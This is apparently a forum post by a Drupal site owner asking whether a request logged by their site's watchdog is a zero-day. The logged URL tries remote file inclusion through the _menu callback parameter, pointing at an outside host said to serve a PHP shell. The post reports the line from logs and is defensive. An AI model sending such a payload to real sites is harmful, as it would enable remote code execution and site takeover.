Hi, I have see this url into my watchdog logs:
drupal/?_menu[callbacks][1][callback]=http://my3dwork.com/images/on.txt? http://www.ziobudda.net/rilasciato_drupal_6_beta1/drupal/?_menu%5Bcallbacks%5D%5B1%5D%5Bcallback%5D=http://my3dwork.com/images/on.txt?
where http://my3dwork.com/images/on.txt http://www.ziobudda.net/rilasciato_drupal_6_beta1/drupal/?_menu%5Bcallbacks%5D%5B1%5D%5Bcallback%5D=http://my3dwork.com/images/on.txt? is a php shell script.
any 0-day bug ?
I have tried to exec it on my site without "drupal/" and the result is that the browser is redirect to the homepage.
